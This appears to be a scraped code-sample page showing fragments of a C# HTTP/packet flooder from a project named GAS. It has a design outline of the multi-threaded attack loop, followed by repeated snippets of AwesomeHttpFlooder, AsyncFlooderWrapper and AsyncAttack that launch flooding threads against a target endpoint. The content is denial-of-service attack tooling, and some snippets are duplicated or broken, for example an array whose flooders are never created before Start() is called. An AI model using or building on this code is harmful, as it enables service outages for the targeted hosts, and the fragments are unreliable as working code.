Advanced packet flooder. How does it work: ========================================== ========================================== ---Start starts Attack(i) in this.ThreadCount parallel threads i is internal attacker thread identifier =========================================== ---Attack inits variables for thread and and starts LoopExec synchronously or async =========================================== ---LoopExec checks attack state in loop and if attack is enabled: 1) connects if needed. if connect() was sync skips else exits to be called again from onconnected handler 2) runs passed delegates. If delegate was async(returned true) - exits to be reinvoked from handler else starts loop again after last delegate =========================================== ---ConnectWorker if not attacking or nothing to send - return to LoopExec send data while sync return async state =========================================== ---ReceivedWorker if !stream return to LoopExec read while attacking && !readLimit && connected && sync if read was async return async state => LoopExec will be restarted from handler =========================================== ---SentWorker if stream while attacking && !sendLimit && Connected randomize send data if send was async return asyncState => LoopExec => handler restart else while attacking send data if send was async return asyncState => LoopExec => handler restart =========================================== ===========================================
示例#1
0
        public AwesomeHttpFlooder(IPEndPoint target, HttpAttackParams attackParams, int threadCount = 1)
        {
            var info = new AttackInfo {
                Target         = target,
                Protocol       = ProtocolType.Tcp,
                Randomizer     = this.GenerateHeaderBytes,
                MaxWrite       = 1,
                SendBufferSize = 512,
                ReadBufferSize = 512
            };

            if (attackParams.WaitForResponse)
            {
                info.MaxRead = ulong.MaxValue;
            }

            _flooder          = new AsyncFlooder(info, threadCount);
            this._headers     = CreateHeaderExpression(attackParams);
            this._exprBuffers = new int[threadCount][];
            var c = this._headers.ComputeLengthDataSize();

            for (var i = 0; i < threadCount; i++)
            {
                this._exprBuffers[i] = new int[c];
            }
        }
示例#2
0
文件: HTTPFlooder.cs 项目: SVS696/GAS
        private void AsyncAttack()
        {
            this._riep = new IPEndPoint(
                this._ip,
                this.Port);
            var fs = new AsyncFlooder[this._spt];

            for (var i = 0; i < this._spt; i++)   //fs[ info ] = new AsyncFlooder(this);
            {
                fs[i].Start();
            }
            Thread.Sleep(System.Threading.Timeout.Infinite);
        }
 public AsyncFlooderWrapper(IPEndPoint target, ProtocolType protocol, int threadCount)
 {
     _flooder = new AsyncFlooder(
         new AttackInfo() {
             Target = target,
             Protocol = protocol,
             Randomizer = (a,b) => {
                 Generators.Random.NextBytes( a );
                 return a.Length;
             }
         },
         ThreadCount = threadCount
     );
 }
示例#4
0
 public AsyncFlooderWrapper(IPEndPoint target, ProtocolType protocol, int threadCount)
 {
     _flooder = new AsyncFlooder(
         new AttackInfo()
     {
         Target     = target,
         Protocol   = protocol,
         Randomizer = (a, b) => {
             Generators.Random.NextBytes(a);
             return(a.Length);
         }
     },
         ThreadCount = threadCount
         );
 }
        public AwesomeHttpFlooder( IPEndPoint target, HttpAttackParams attackParams, int threadCount = 1 )
        {
            var info = new AttackInfo {
                Target = target,
                Protocol = ProtocolType.Tcp,
                Randomizer = this.GenerateHeaderBytes,
                MaxWrite = 1,
                SendBufferSize = 512,
                ReadBufferSize = 512
            };
            if ( attackParams.WaitForResponse )
                info.MaxRead = ulong.MaxValue;

            _flooder = new AsyncFlooder( info, threadCount );
            this._headers = CreateHeaderExpression( attackParams );
            this._exprBuffers = new int[ threadCount ][];
            var c = this._headers.ComputeLengthDataSize();
            for (var i = 0; i < threadCount; i++)
                this._exprBuffers[ i ] = new int[c];
        }
 private void AsyncAttack()
 {
     this._riep = new IPEndPoint(
         this._ip,
         this.Port );
     var fs = new AsyncFlooder[ this._spt ];
     for ( var i = 0; i < this._spt; i++ ) //fs[ info ] = new AsyncFlooder(this);
         fs[ i ].Start();
     Thread.Sleep( System.Threading.Timeout.Infinite );
 }